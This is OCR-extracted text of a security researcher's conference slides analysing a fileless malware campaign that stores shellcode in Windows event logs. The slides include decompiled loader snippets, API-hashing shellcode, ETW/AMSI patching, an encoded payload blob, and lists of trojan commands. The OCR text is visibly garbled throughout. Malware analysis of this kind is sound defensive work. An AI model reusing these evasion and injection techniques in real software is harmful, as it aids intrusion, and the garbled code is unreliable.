EE A new secret stash for fileless
malware.

_ Denis Legezo

_ Kaspersky, GReAT
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Typical logging

pixelArray = (bmpContent + bmpContent->header.bfOffBits);

writeLog(L"bmp_get_data_helper");
start = 0;
for (i =0; 1 < 48; ++i )
{
end = start + 8;
prevShifted = 0;
bitCounter = 8;
do
{

decByte = *(&pixelArray->firstByte + --end) & 1 | prevShifted;

prevShifted = 2 * decByte;
--bitCounter;

}
while ( bitCounter );
start = end + 8;
*(&decBytes.IID + i) = decByte;
}
setTlsErrF1d(0);
printLogMsg(0) ;
setDropTlsToLog(0) ;
if ( decBytes.IID == 1 || decBytes.IID == 2 )
{
setDropTlsTolLog(1);
writeLog2(L"sh.IID = %d", decBytes.IID);
setDropTlsTolLog(0) ;
setDropTlsTolLog(1);
writeLog2(L"sh.IParam = %d", decBytes.IParam);
setDropTlsTolLog(0) ;
setDropTlsTolLog(1);
ISize = decBytes.ISize;
writeLog2(L"sh.ISize = %d", decBytes.ISize);

Developers use print-like
debugging

Keep debug removing as TODO

Operators want to check
execution flaw

Which stages were successful



..and shellcodes

call $+
loc_5:
pop rcx - .
oV 8. rex Position independent
add rcx, (offset mz placeholder - offset loc_5)

; second shellcode offset
mov edx, ; rorl3 hash "Load"

; With trailing zero .
2dd o e Leads to get self RVA tricks
mov rod,
push rsi
mov nsi, rsp Loader independent
and rsp,
sub rsp,
mov dword ptr [rsp+ +a5], ; ab
call  MapRun Leads to PEB and PE parsing
mov rsp, rsi
pop rsi
retn

EntryPoint endp

Hashes instead of func names



Why not to combine?

YO DAWG, WE HEARD YOU L LIKE| USING
EVENT LOGS TO IlI:'I'EI:'I' Hl{“lll!*lﬂmm

~ SOWEPUT rfntfm:
_ACTIVITY IN YOUR EVENT LOGS

Windows event logs (.evtx)
could contain binary data

It’s a legit mechanism

Drivers write minidumps where,
etc.

Looks like a place for shellcodes
as well



Show me the code

KMSEventLog = malloc(512000ui64) ;
hEventLog 1 = RegisterEventSourceW(0i64, L"Key Management Service");
hEventLog = hEventLog 1;
if ( !'hEventlLog 1 )
return 0i64;
while ( !ReadEventLogW(hEventLog 1, 5u, O, KMSEventLog, nNumberOfBytesToRead, &pnBytesRead, &pnMinNumberOfBytesNeeded) )// EVENTLOG FORWARDS READ
EVENTLOG_SEQUENTIAL_ READ

read all KMS logs

LastError = GetLastError();
if ( LastError != ERROR_INSUFFICIENT_BUFFER )
{

if ( LastError != ERROR_HANDLE_ EOF )

return 0i64;

break;
}
KMSEventLog = realloc(KMSEventLog, pnMinNumberOfBytesNeeded) ;
if ( !KMSEventLog )

return 0i64;
nNumberOfBytesToRead = pnMinNumberOfBytesNeeded;
hEventLog_1 = hEventLog;



Read and put into container

for ( i = pnBytesRead; KMSEventLogCurr < (KMSEventLog + 1i); KMSEventLogCurr = (KMSEventLogCurr
+ KMSEventLogCurr->Length) )
{
if ( KMSEventLogCurr->EventCategory == 'AB' )
{
std::string: :append(InterestinglLogs, KMSEventLogCurr + KMSEventLogCurr->DataOffset, KMSEventLogCurr->Datalength) ;
i = pnBytesRead;



What about writing them

startID = 0;
if (. n)
{
logsNum = n -
while ( 1)
{
if ( startID == logsNum )

|
[

currentSize = *p _len - overallSize;

if ( !'ReportEventW(
hEventLog,
EVENTLOG_INFORMATION_TYPE,
0x4142u,
startID + 1423,
0i64,
0,
currentSize,
0164,
binary300) )
goto to_exit;
overallSize += currentSize;
binary300 += 256;
++startID;
logsNum = n - 1;
if ( startID >= n )
goto LABEL_24;

EventLogRecord = j__malloc_base(512000ui64) ;

hEventLog 1 = RegisterEventSourceW(0i64,
hEventLog = hEventLog 1;

it (

while (

{

'hEventLog_1 )

return 0i64;

IReadEventLogW(

hEventLog 1,

Su,
0,

EventLogRecord,
nNumberOfBytesToRead,
&pnBytesRead,
&pnMinNumberOfBytesNeeded) )

LastError = GetlLastError();

if ( LastError

{

if ( LastError
return 0i64;
break;

!= ERROR_INSUFFICIENT_BUFFER )

!= ERROR_HANDLE_EOF )

mm

VENTLOG_SEQ
VENTLOG_FOR

UENTIAL_READ
RDS_READ

L"Key Management Service");

= 4



Inside the shellcode

(EntryPoint) (Mapping, 1164, 1i164);
if ( Hash_3 )
{
if ( pe->OptionalHeader.DataDirectory[0].Size )
{
Exports_1 = &Mapping[pe->OptionalHeader.DataDirectory[@].VirtualAddress];
NumberOfNames = Exports_1->NumberOfNames;
if ( NumberOfNames )

if ( Exports_1->NumberOfFunctions )
{
NumberOfNames_1 = 0;
AddressOfNames = &Mapping[Exports_l->AddressOfNames];
for ( Ords = &Mapping[Exports_1->AddressOfNameOrdinals];
{
curr &Mapping[*AddressOfNames] ;
Hash = 0;
do
{
Curr = *curr++;
Hash = Curr + _ ROR4__ (Hash, 13);

; ++0rds )

while ( *(curr - 1) );
if ( Hash_3 == Hash )
break;
++NumberOfNames_1;
++AddressOfNames;
if ( NumberOfNames_1 >= NumberOfNames )
return Mapping;
}
(&Mapping[*&Mapping[4 * *Ords + Exports_1->AddressOfFunctions]]) (Arg_dave_1, Arg_four_1);
}
}
}






Birds eye view

Throwback trace is visible

Go, gcc, even Nim compilers

Named pipes for LAN

HTTP-based for remote

11



Third-party tools

O Product v Team Enterprise Explore v Marketplace Pricing

A DarthTon/Blackbone (Pubic)

<> Code

¥ master ~

~

© Issues

Free and commercial

95 19 Pullrequests 5 (® Actions [ Wiki (@) Security |~ Insights

O e Ui o Github usage all the time

DarthTon bug fix; code style fix; added test for ExecInAnyThread v a672509 on Jun 20, 2021
B .github/workflows trigger ci on workflow yaml changes TWO com merCial su ites
im DA Unexported symbols resolve using MSDIA SimUItaneOUSIV aren’t typlcal
B Testing extracted tests into separate dll and integrated with VS test explorer
B src bug fix; code style fix; added test for ExecInAnyThread
Y .gitattributes CMake update; LFS turned off
3 .gditignore extracted tests into separate dll and integrated with VS test explorer

12
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Typical Blackbone trampoline

pLauncherEP = &lLauncher.modBaseAddr[*&Launcher.modBaseAddr [&((Launcher.modBaseAddr)->e_lfanew)->OptionalHeader.AddressOfEntryPoint]];
VirtualProtect(pLauncherEP, OxCui64, 0x40u, &flOldProtect);

*pLauncherEP = 0xB848; mo\ ‘
*(pLauncherEP + 2) = WaitAndExit;
*(pLauncherEP + 5) = OXEOFF;

VirtualProtect(pLauncherEP, OxCui64, flOldProtect, &flOldProtect); .
void _ noreturn WaitAndExit()

{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

WaitForSingleObject(WorkingThread, OxFFFFFFFF);
ExitProcess(0) ;



Anti-detection

Patching

Sideloading

Digital certificate

Esoteric compilers

14



{

Patching

inté4 _ fastcall main_ResolvePatchEvents(void *tmp)
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
pLazyEtwNotificationRegister = ::pLazyEtwNotificationRegister;

if ( syscall__ptr_LazyProc Find(::pLazyEtwNotificationRegister) )
{

to_panic:

runtime_gopanic() ;
runtime_morestack_noctxt();

}
pProcNotificationRegister = pLazyEtwNotificationRegister->Proc;
pLazyEtwEventRegister = ::plLazyEtwEventRegister;

EtwNotificationRegister = (void *)pProcNotificationRegister->uintptr;
if ( syscall__ptr_LazyProc Find(::pLazyEtwEventRegister) )
{

LABEL_14:

runtime_gopanic() ;
goto to_panic;

}

Authors like only their logs

EtwNotificationRegister,
EtwEventRegister, etc. are
patched to return(0)

AMSI-related functions are
patched either

This part is commodity already

15
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Go wrapper for Cobalt

1 __int6é4 _ fastcall main_Start(void *tmp)

2|{

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

// main.Start
if ( !main_isIntoDoimain() )
os_Exit();
main_ResolvePatchEvents (tmp);
OSVersionSetSyscallArgs = (_DWORD *)main_GetOSVersionSetSyscallArgs();
if (n 4 == 4 && *0SVersionSetSyscallArgs == '0.01' )
main_SystemLiblLoad() ;
main_ResolvePatchEvents (tmp);
runtime_concatstring2((int)&byte 7FEEFO4FOAF, 687) ;
runtime_concatstring2(

(int)

687) ;

"jifWErIRcaO3LuMCWyu2+8XFLdURgatowwjbkM1gZr9i5012eB+Vx0fNPQ5BWeU/KssVTUM+K1QYIMulwD7uym+vig+ocuQ8VXtsufHhmm6OPWL"
"ZVv9AY7Rokk1TbvQX8T5fsXwD1lcUVFIiqqtWL7y8uc7o0yX7N51SzF47YzY7MkXGL4YwuhzAp14JA82vQlZrQqaCo0I6wLQUOOQr4PRmLVF7sztin"
"JbJEKZsV1RQ9kpm/ajRPpQk6o7Z0eAX1dCyn/zh2HnzdIkmTlspwJU/IVXQIKkbkkOV6CcYtJd511kIYWOgONNTfuygx+bq31lr7BcgeqgRb1190Vm"
"wOgAeDBKZ4F5CQyPCGJ jwTBSUYeLGW8KkUTQDOe/j+m24b71Vk2DzoJ5NSjYpWWU4UgyBJbvh91++TxI02aCf4/ZLvQ22ZgXIr/fTbWHG51AENWZQ"
"GD3DHXWX+VNGbsfVA27CeOPbhWCVpoZnqGl8tBOSA/mWQLE8ivPu2iX0YVtIZWUE+nz1t//PD8VT30KvXxTSX7sKg9vMDngU6shuDiQaOWaQENrY"
"EGUiWjnVoRKh1n8tr6i4AC2G1g8ibWIgSkyzeRudgv9zz5Ghb91SBCOKaZCBzSTiTfelVAKDLIDONGRPZa®d4+1mnUCT4mGwPvsd1lK+Yok/ha9CD"
"tGXe6cBkf5ZM101QSng/u",



And patching with Go

__intéd4 _ fastcall main_ResolvePatchEvents(void *tmp)

{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

pLazyEtwNotificationRegister = ::pLazyEtwNotificationRegister;, nai
if ( syscall__ptr_LazyProc_Find(::pLazyEtwNotificationRegister) )
{
to_panic:
runtime_gopanic() ;
runtime_morestack_noctxt();

}
pProcNotificationRegister = pLazyEtwNotificationRegister->Proc;
pLazyEtwEventRegister = ::pLazyEtwEventRegister;

EtwNotificationRegister = (void *)pProcNotificationRegister->uintptr;
if ( syscall_ ptr_LazyProc Find(::pLazyEtwEventRegister) )
{
LABEL_14:
runtime_gopanic();
goto to panic;

}

17



Several last stagers

Passive version

Love for injection

“Is user active now?”

Sleep time randomization

18



HTTP trojan version

0]

99

Fingerprint the target again.

Execute command. The Trojan executes the received command in the new process and sends the
result back to the C2.

Download from a URL and save to the given path.

Set a new sleep time. This time in minutes is used as a timeout if the C2 hasn’t replied with a
command to execute yet. Formula for randomization is (random number between 09 — 11) * sleep
time.

Sleep the given number of minutes without changing the configuration.

List processes with PID, path, owner, name and parent data.

Inject and run shellcode into the target process’ address space. To inject into the same process,
the command argument should be “local’. Like the shellcode in the event logs, this one would run

the provided PE’s entry point and as well as a specific export found by hash.

Terminates the session between trojan and C2.

19

Random C2 from the list

MachineGUID, SeDebugPrivilege
among the fingerprinting of
target

Throwback-like encryption

Short command system



Pipes trojan version

0]

Set the “continue” flag to False and stop working.

N/A, reserved so far.

Get time since the last user input in minutes.

Get current process information: PID, architecture, user, path, etc.

Get host domain and user account.

Impersonate user with credentials provided.

Get current process’s available privileges.

Execute command with the cmd.exe interpreter.

Test connection with a given host (address and port) using a raw TCP socket.

20

Monolith named pipe

Hardcoded RC4 key

More profound command
system

HTTP version with such
commands also exists






Questions time!

Denis Legezo

@legezo
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